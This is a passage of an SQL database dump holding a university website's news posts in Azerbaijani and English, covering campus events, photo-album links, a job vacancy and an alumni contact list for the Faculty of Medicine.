href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1764209966922734\">FOTO</a>)</div></div><div style=\"text-align:left\">02.11.2017 Midterm imtahanları (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1764163416927389\">FOTO</a>)</div>'),(3259,1917,'en','November','November',''),(3260,1918,'az','Dekabr','Dekabr','<div><div><div><div><div> <div><div><br></div><div><br></div><div>28.12.2017 Xəzər Universitetində Yeni İl(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1827208293956234\">FOTO</a>)</div></div></div><div><div><div>28.12.2017 Qan qrupu və sənin xarakterin(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1827201397290257\">FOTO</a>)</div></div></div><div><div>31 dekabr Həmrəylik günü və Yeni il tortu(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1826223160721414\">FOTO</a>)</div></div><div><div>27.12.2017 Doktorantura və Magistratura Tələbə Birliyinin seminar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1825527180791012\">FOTO</a>)</div></div><div><div>27.12.2017 Coşqun Kərimov ilə \'\'33 fotoda həyat\'\' (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1825526507457746\">FOTO</a>)</div>  <div>26.12.2017 \'Qədim Şərq Tarixi\' Fərhad Quliyev (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1824589190884811\">FOTO</a>)</div></div></div><div>26.12.2017 AMEA Füzuli adına Əlyazmalar İnstitunda (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1824403964236667\">FOTO</a>)</div></div><div><div>23.12.2017 Xarici telebeleri ile atesgah seferi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1823219111021819\">FOTO</a>)</div></div><div>22.12.2017 KPMG seminarı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1820361227974274\">FOTO</a>)</div></div><div>21.12.2017 Türk dünyası tədbiri&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1819265208083876\">FOTO</a>)<br></div><div>20.12.2017 CİSCO şəbəkə akademiyası&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1818203711523359\">FOTO</a>)<br></div><div>20.12.2017 Azərkosmos&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1818072314869832\">FOTO</a>)<br></div><div>19.12.2017  Humanitar və sosial elmlər fakültəsinin dissertantının müdafiəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1817046431639087\">FOTO</a>)<br></div><div>19.12.2017 İqtisadi İslahatların Təhlili (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1816775158332881\">FOTO</a>)</div></div><div>16.12.2017 Mən hüquqşünas olmaq istəyirəm!&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1815632908447106\">FOTO</a>)<br></div><div>15.12.2017&nbsp;Multimedia Mərkəzində Yeni ilə hazırlıq&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1812570872086643\">FOTO</a>)<br></div><div>14.12.2017 Seminar. \'Biotibbi tədqiqatlar\'&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1811366815540382\">FOTO</a>)<br></div><div>14.12.2017 Sumqayıt. Texno Park&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1811364638873933\">FOTO</a>)<br></div><div>14.12.2017 KPMG imtahan&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1811347015542362\">FOTO</a>)<br></div><div>13.12.2017 Xəzərdə kitab yarmarkası&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1810126862331044\">FOTO</a>)<br></div><div>12.12.2017 eiLink Welcome Day (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1809041929106204\">FOTO</a>)<br></div><div>09.12.2017&nbsp;Sərdar Fərəcovun müəllif konserti&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1807997795877284\">FOTO</a>)<div>07.12.2017&nbsp; MMC Təlimi</div><div>07.12.2017 Chinese week&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1803714796305584\">FOTO</a>)</div><div><div tabindex=\"0\">06.12.2017&nbsp;Çin Həftəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1802622613081469\">FOTO</a>)</div><div tabindex=\"0\">06.12.2017 Eurasia HUB tədbiri&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1802616576415406\">FOTO</a>)</div></div></div><div>06.12.2017 Xocasən Gölünün Su Balansı&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1802417936435270\">FOTO</a>)<br></div><div>05.12.2017 Chinese Week&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1801295943214136\">FOTO</a>)</div><div>04.12.2017&nbsp;The first Chinese week&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1800159463327784\">FOTO</a>)<br></div><div>01.11.2017 BP əməkdaşlarının tələbələr ilə görüşü&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1796915583652172\">FOTO</a>)<br></div><div>01.12.2017 Maliyyə Palatasının seminar&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1796854316991632\">FOTO</a>)<br></div><div>01.12.2017 Eurasia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1796532713690459\">FOTO</a>)</div><div><br></div>'),(3261,1918,'en','December','December',''),(3262,1921,'az','“Xəzər Xəbər”  jurnalının 2017-ci il yanvar nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017 - ci il yanvar nömrəsi (358-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz...','<p>“Xəzər Xəbər” jurnalının\r\n2017 - ci il yanvar nömrəsi (358-ci nömrə) Xəzər Universitetinin mətbəəsində\r\nçapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:</p><p> <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3263,1922,'az','“Dünya” məktəbində Model BMT Konfransı keçirildi','Fevralın 11-12-də  “Dünya” məktəbində “Dünya” Məktəbi Model BMT Konfransı” keçirildi. Konfrans “Dünya” Məktəbi Şagird Birliyi və “Azəri Yurdu” Gənclər İctimai Birliyinin...','<p>Fevralın\r\n11-12-də&nbsp; “Dünya” məktəbində “Dünya” Məktəbi\r\nModel BMT Konfransı” keçirildi. Konfrans “Dünya” Məktəbi Şagird Birliyi və “Azəri\r\nYurdu” Gənclər İctimai Birliyinin birgə təşkilatçılığı ilə təşkil\r\nolunmuşdu.&nbsp; Konfransda şagirdlər, tələbələr\r\nvə müxtəlif ixtisaslı şəxslər iştirak edirdilər. </p>\r\n<p>Konfransın\r\nkeçirilməsində məqsəd gənclərin diplomat kimi formalaşması və kommunikasiya,\r\nliderlik bacarıqlarının inkişaf etdirilməsidir. Konfrans üç komitədən ibarət\r\nidi: BMT-nin Baş Assambleyası;&nbsp; BMT-nin Təhlükəsizlik\r\nŞurası; BMT-nin İqtisadi və Sosial Şurası. Konfransda “Terrora qarşı mübarizə”,\r\n“Türkiyədəki situasiya”, “Beynəlxalq miqrasiya və onun iqtisadi inkişafa təsiri”\r\nmövzularında müzakirələr aparıldı&nbsp; və\r\niştirakçılar böyük fəallıqla hər məsələyə aid qətnamə hazırladılar. </p>\r\n<p>Fevralın\r\n12-də konfransın&nbsp; təntənəli yekun mərasimi\r\nkeçirildi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı çıxış edərək, konfrans haqqında fikirlərini\r\nbölüşdü. Konfrans iştirakçılarına sertifikat, fəal iştirakçılara fərqlənmə\r\nsertifikatları təqdim olundu.</p>\r\n<p>Konfransın\r\nişində “Dünya” məktəbinin həmtəsisçisi, Xəzər Universiteti Direktorlar və Qəyyumlar\r\nŞurasının müşaviri Nailəxanım İsayeva iştirak edirdi.</p>'),(3024,1787,'en','“My Company, My Startup” Seminar','On December 24, 2016, the Khazar University Student Union held a seminar on startups with the support of the AIESEC in Azerbaijan NGO (www.aiesec.az) to help students make...','<p>On December 24, 2016, the Khazar\r\nUniversity Student Union held a seminar on startups with the support of the\r\nAIESEC in Azerbaijan NGO (<a href=\"http://www.aiesec.az\">www.aiesec.az</a>) to\r\nhelp students make the most of their free time. Nearly 50 students from the\r\nSchool of Economics and Management actively </p>\r\n<p>participated in the event. </p>\r\n<p>The “My Company, My Startup” project gives student teams a\r\nchance to participate in a 6-week internship program abroad. </p>\r\n<p>Students selected for the program will be able to teach\r\nseminars on fields related to economics (project management, business,\r\nmarketing, ITC, etc) to local students in their host country abroad.&nbsp;</p>'),(3022,1784,'az','“Xəzər”də universitetlərarası “Spagetti körpü” müsabiqəsi keçirildi',' 2016-cı il dekabrın 26-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin təşkilatçılığı ilə ənənəvi universitetlərarası “Spagetti körpü” müsabiqəsi keçirildi...','<p>&nbsp;2016-cı il\r\ndekabrın 26-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin təşkilatçılığı\r\nilə ənənəvi universitetlərarası “Spagetti körpü” müsabiqəsi keçirildi. Müsabiqədə Xəzər\r\nUniversitetinin tələbələri ilə yanaşı, Bakı Ali Neft Məktəbi (BANM) və Azərbaycan\r\nDövlət Neft və Sənaye Universitetinin (ADNSU) tələbələri də iştirak edirdilər. </p>\r\n<p>Tədbiri Xəzər\r\nUniversitetinin rektoru Hassan Niknafs açaraq, müsabiqənin əhəmiyyətindən danışdı,\r\niştirakçılara uğurlar arzuladı.</p>\r\n<p>Sonra Xəzər\r\nUniversitetinin İnşaat mühəndisliyi departamentinin müəllimi Əli Atefinin rəhbərliyi\r\nilə müsabiqə başladı. Gərgin keçən yarışmada Xəzər Universitetinin “Koroğlu”\r\nkomandası birinci yeri tutdu.</p>\r\n<p>Qeyd edək ki,\r\nmüsabiqənin məqsədi makaron və spagettidən körpü inşa etməklə, mühəndislik\r\nmexanikası və materialların müqavimətinin ölçülməsində tələbələrin biliyini\r\nyoxlamaqdır.</p><p>Tələbələr müsabiqədən kənar vaxtda spagetti çubuqlarından “yolka” ağacı da qurmuşlar və bu\r\nbarədə<strong><em> A24.az</em></strong> saytı da xəbər yaymışdır: <a href=\"http://a24.az/dunyada-ilk-hami-azerbaycanli-telebelerin-duzeltdiyi-yeni-il-agacindan-danisir-foto/\">http://a24.az/dunyada-ilk-hami-azerbaycanli-telebelerin-duzeltdiyi-yeni-il-agacindan-danisir-foto/</a></p>'),(3023,1787,'az','“Mənim şirkətim –mənim startapım” adlı seminar keçirildi','2016-cı il dekabrın 24-də Xəzər Universitetinin Tələbə Məclisi “AIESEC in Azerbaijan” (www.aiesec.az) qeyri-hökumət təşkilatının təşkilati dəstəyi ilə tələbələrin asudə...','<p>2016-cı il dekabrın 24-də Xəzər Universitetinin Tələbə Məclisi “AIESEC in Azerbaijan” (<a href=\"http://www.aiesec.az/\">www.aiesec.az</a>)   qeyri-hökumət təşkilatının təşkilati dəstəyi ilə tələbələrin asudə vaxtını dəyərli təşkilini təmin etmək üçün “Startup” mövzusunda məlumatlandırıcı seminar keçirdi. İqtisadiyyat və menecment fakültəsinin tələbələrinin aktiv iştirakı ilə keçən tədbirdə təxminən 50 nəfər tələbə iştirak edirdi.&nbsp;</p><p>“Mənim şirkətim –mənim startapım” (My company, my Startup) adlı tədbir tələbələrə öz komandaları ilə birlikdə 6 həftəlik xaricdə təcrübə proqramında iştirak şansı yaradır.&nbsp;</p><p>Layihə çərçivəsində seçdikləri xarici ölkədə yerli əcnəbilərə ixtisasdan asılı olan səhələrdə (layihə idarə etməsi, biznes, marketinq, IT və telekommunikasiya və s.) seminarlar tədris edə bilərlər.</p>'),(2542,1533,'en','Special Certificate Program to Begin at Khazar University Next Year Reported by AZERTAJ','Azerbaijan State Information Agency (AZERTAJ) published an article on its official website about a special certificate program to begin next year that was discussed at a meeting between...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Azerbaijan State Information Agency\r\n(AZERTAJ) published an article on its official website about a special\r\ncertificate program to begin next year that was discussed at a meeting between\r\nProfessor Hamlet Isaxanli, the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, and Reto Weyermann, Program Manager of the\r\nState Secretariat for Economic Affairs, SECO, Switzerland, along with his\r\ndelegation during their recent visit to Khazar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The full text of the article is\r\navailable at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universitetinde_xususi_sertifikat_proqramina_baslanilacaq-1007697\">http://azertag.az/xeber/Xezer_Universitetinde_xususi_sertifikat_proqramina_baslanilacaq-1007697</a>.</p>'),(2546,1535,'az','Xəzər Universitetinin “Dünya” məktəbinin müəllim və şagirdləri Misir Mədəniyyət və Təhsil Əlaqələri Mərkəzində olub','Oktyabrın 28-də Misir Ərəb Respublikasının Azərbaycandakı Səfirliyinin Mədəniyyət Mərkəzində Xəzər Universitetinin “Dünya məktəbi”nin müəllim və şagirdləri üçün görüş təşkil edilib...','<p>Oktyabrın 28-də Misir\r\nƏrəb Respublikasının Azərbaycandakı Səfirliyinin Mədəniyyət Mərkəzində Xəzər\r\nUniversitetinin “Dünya məktəbi”nin müəllim və şagirdləri üçün görüş təşkil\r\nedilib.<strong></strong></p>\r\n<p>Misirin tarixi və mədəniyyəti haqqında film nümayiş\r\netdirildikdən sonra Misir Mədəniyyət və Təhsil Əlaqələri Mərkəzinin müdiri Əhməd\r\nSami Elaydi qonaqları salamlayaraq, onlara Mərkəzin fəaliyyəti və &nbsp;Azərbaycan\r\nmədəniyyət və təhsil ocaqları ilə əlaqələrinin genişləndirilməsi sahəsində\r\naparılan işlər haqqında ətraflı məlumat verib. Bundan başqa, Mərkəzlə “Dünya” məktəbi\r\narasında əməkdaşlıq barədə, “Dünya” məktəbində şagirdlərin Misir uşaq ədəbiyyatı\r\nilə yaxından tanış olmaları üçün bədii qiraət saatlarının, eləcə də Mərkəz tərəfindən\r\nuşaqlar və müəllimlər üçün ərəb dili kurslarının təşkil olunması barədə təkliflərin\r\nmüzakirəsi aparılıb.&nbsp;</p>\r\n<p>Görüşün keçirilməsindən hər iki tərəf öz məmnunluq\r\nhislərini bildirərək, belə görüşlərin gələcəkdə də təşkil olunmasının zəruriliyini\r\nvurğulayıblar.&nbsp;</p>'),(2543,1532,'en','70th Birthday of Rais Rasulzadeh Celebrated ','On November 1, 2016, the 70th birthday of Rais Rasulzadeh was celebrated at the International Press Center. Participants included Rasulzadeh’s counterparts, former fellow students...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">On\r\nNovember 1, 2016, the 70<sup>th</sup> birthday of Rais Rasulzadeh was\r\ncelebrated at the International Press Center. Participants included\r\nRasulzadeh’s counterparts, former fellow students, Members of Parliament, and\r\nrepresentatives of scholarly and literary society as well as Khazar University\r\nstudents. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Doctor\r\nof History Nasiman Yagublu,\r\ninstructor in the Khazar University Department\r\nof History and Archeology, opened the event with information about R. Rasulzadeh’s\r\nlife and works. He also described his visit with Azer Rasuladeh, Rais’s father and\r\nthe son of Mammad Amin Rasulzadeh. Members of Parliament Rafael Huseynov, Fazil\r\nMustafa, and Vahid Ahmadov congratulated the artist on his birthday and wished\r\nhim long life and creative success. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Gamar\r\nSeyfaddingizi, granddaughter of great playwright Jafar Jabbarli, spoke about\r\nthe family friendship of Jafar Jabbarli and Mammad Amin Rasulzadeh. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Noteworthy\r\nspeeches were also made by Najiba Baghirzadeh, journalist and researcher of\r\nRasulzadeh’s legacy; and poet Teyyub Gurban, who first found Rasulzadeh in the\r\ncity of Karakanda, Kazakhstan. Gurban gave Rasulzadeh a copy of a book he had\r\ndedicated to Mammad Amin Rasulzadeh. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">Khazar\r\nUniversity students majoring in history also congratulated Rasulzadeh and\r\npresented a gift to him. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white;vertical-align:baseline\"\"=\"\">At\r\nthe end of the event, Rasulzadeh thanked the event participants and organizers.</p>'),(2544,1534,'az','Xəzər Universitetində kitab yarmarkası keçirilir','2016-cı il noyabrın 3-dən 8-dək Xəzər Universiteti Tələbə Məclisinin dəstəyi ilə “Qanun” Nəşriyyatı universitetdə kitab yarmarkası keçirir. Yarmarkada bütün nəşrlərə 20% endirim var...','<p>2016-cı il\r\nnoyabrın 3-dən 8-dək Xəzər Universiteti Tələbə Məclisinin dəstəyi ilə “Qanun” Nəşriyyatı\r\nuniversitetdə kitab yarmarkası keçirir. Yarmarkada bütün nəşrlərə 20% endirim\r\nvar və dərs saatları müddətində davam edir.</p>'),(2545,1534,'en','Book Sale at Khazar University','On November 3-8, 2016, Qanun Press organized a book table at Khazar University with the support of the Student Union. The book sale is open during class hours and includes...','<p>On November 3-8, 2016, Qanun Press\r\norganized a book table at Khazar University with the support of the Student\r\nUnion. The book sale is open during class hours and includes a 20% discount on\r\nall titles.&nbsp;</p>'),(2776,1657,'en','Vacancy:  Rector’s office assistant','Khazar University is seeking an office assistant for the rector. Duties include daily office tasks (paperwork, meeting and serving guests, scheduling events, other administrative work)...','<p>Khazar University is seeking an office assistant\r\nfor the rector. Duties include daily office tasks (paperwork, meeting and\r\nserving guests, scheduling events, other administrative work). </p>\r\n<p>Candidate must be proficient in Azerbaijani and\r\nEnglish. Russian is a benefit. Candidate must be professional, punctual,\r\nresponsible, and accurate. For inquiries please send CVs to <a href=\"mailto:contact@khazar.org\">contact@khazar.org</a> with a cover letter and “<em>Rector Assistant Application</em>” in the subject line. </p>\r\n<p>Deadline is <strong>December 15, 2016</strong>.</p>'),(2548,1536,'az','“Elm şənliyi” layihəsi haqqında xəbər mediada','Youthportal.az xəbər saytı cari ilin dekabrında Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondunun maliyyə dəstəyi ilə keçiriləcək “Elm şənliyi” layihəsi haqqında xəbər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong><em>Youthportal.az</em></strong> xəbər saytı cari ilin dekabrında Azərbaycan Respublikasının\r\nPrezidenti yanında Gənclər Fondunun maliyyə dəstəyi ilə keçiriləcək “Elm şənliyi”\r\nlayihəsi&nbsp;haqqında xəbər yaymışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qeyd edək\r\nki, Azərbaycan Respublikasının Prezidenti yanında Gənclər\r\nFondunun maliyyə dəstəyi ilə təşkil olunacaq “Elm şənliyi” layihəsi&nbsp;Azərbaycan Milli Elmlər Akademiyasının\r\nArxeologiya və Etnoqrafiya İnstitutu, Xəzər Universiteti və Azərbaycan\r\nArxeoloqlar Cəmiyyəti tərəfindən elmi cəhətdən dəstəklənir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəbəri tam şəkildə bu link vasitəsilə oxumaq\r\nolar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://youthportal.az/az/news/detail.php?ID=92577\">http://youthportal.az/az/news/detail.php?ID=92577</a>.&nbsp;</p>'),(2549,1537,'az','Kaspi.az Xəzər Universitetinin tələbəsi uğur hekayəsini paylaşdı','2016-cı il noyabrın 4-də “Kaspi” qəzetinin rəsmi internet səhifəsi Xəzər Universitetinin tələbəsi Rasim Adjalovun uğur hekayəsini paylaşmışdır. “Uğur hekayəsi” R.Adjalovla müsahibə...','<p>2016-cı il\r\nnoyabrın 4-də “Kaspi” qəzetinin rəsmi internet səhifəsi Xəzər Universitetinin tələbəsi\r\nRasim Adjalovun uğur hekayəsini paylaşmışdır. “Uğur hekayəsi” R.Adjalovla\r\nmüsahibə şəklində qurulmuşdur. </p>\r\n<p>“Uğur hekayəsi”ni tam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://kaspi.az/az/3500-telebesi-olan-24-yasli-konsultant-uur-hekayesi/\">http://kaspi.az/az/3500-telebesi-olan-24-yasli-konsultant-uur-hekayesi/</a>\r\n</p>'),(2550,1537,'en','Success Story of Khazar University Student Published on Kaspi.az','On November 4, 2016, the official website of Kaspi Newspaper published the success story of Rasim Adjalov, Khazar University student, in the form of an interview...','<p>On November 4, 2016, the official\r\nwebsite of Kaspi Newspaper published the success story of Rasim Adjalov, Khazar\r\nUniversity student, in the form of an interview. </p>\r\n<p>The success story is available at\r\nthe following link: </p>\r\n<p><a href=\"http://kaspi.az/az/3500-telebesi-olan-24-yasli-konsultant-uur-hekayesi/\">http://kaspi.az/az/3500-telebesi-olan-24-yasli-konsultant-uur-hekayesi/</a></p>'),(2551,1536,'en','Science Party Project Covered in Media','On November 4, 2016, the youthportal.az news site published information about the Science Party project, which will be held in December of this year with the support of the Youth...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 4, 2016, the youthportal.az\r\nnews site published information about the Science Party project, which will be\r\nheld in December of this year with the support of the Youth Foundation of the\r\nPresident of the Azerbaijan Republic.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">We note that the Science Party project\r\nhas the academic support of the Archeology and Ethnography Institute of\r\nAzerbaijan National Academy of Sciences, of Khazar University and of the\r\nAzerbaijan Archeologists’ Society. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The full text of the news is available\r\nat the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://youthportal.az/az/news/detail.php?ID=92577\">http://youthportal.az/az/news/detail.php?ID=92577</a>.&nbsp;</p>'),(2557,1542,'az','Tibb Fakültəsi','Tibb Fakültəsi','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><a href=\"#A\">A</a> <a href=\"#G\">G</a> <a href=\"#O\">O</a> <a href=\"#R\">R</a></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"A\"><strong>A</strong></h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Abdul Rasheed Razia</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tibb fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Terapevt\r\nhəkim/&nbsp; Tindivanam (Doğma şəhər)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Email:&nbsp;<a href=\"mailto:dr.raziaar@gmail.com\">dr.raziaar@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2003- 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong></strong></p><h3 id=\"G\">G</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Govindaraj Venkatraman</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2003-2008</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tibb fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təcili yardım həkimi, Chennai</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;E-mail:&nbsp;<a href=\"http://mailto:Venkat18121983@gmail.com/\">Venkat18121983@gmail.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><a href=\"http://mailto:Venkat18121983@gmail.com/\"></a></p><h3 id=\"O\">O</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Obiageli Okafor</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tibb fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Klinik yardım mütəxəssisi. FHI 360, Lagos, Nigeria</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:writeoby@gmail.com\">writeoby@gmail.com</a>&nbsp;,<a href=\"mailto:obo021@mail.harvard.edu\">obo021@mail.harvard.edu</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:obo021@mail.harvard.edu\"></a>2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"R\">R</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramakrishnan&nbsp;&nbsp;Kalaivani</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tibb fakültəsi (2003-2008&nbsp;&nbsp;)&nbsp; &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Doctor,Teletibb şöbəsində məsləhətçi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Apollo&nbsp;Hospitals,Hyderabad</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:artcomeyou2007@gmail.com/\">artcomeyou2007@gmail.com&nbsp;</a>&nbsp;&nbsp;</p>'),(2558,1542,'en','Faculty of Medicine','Faculty of Medicine','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><a href=\"#A\">A</a> <a href=\"#G\">G</a> <a href=\"#O\">O</a> <a href=\"#R\">R</a></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" 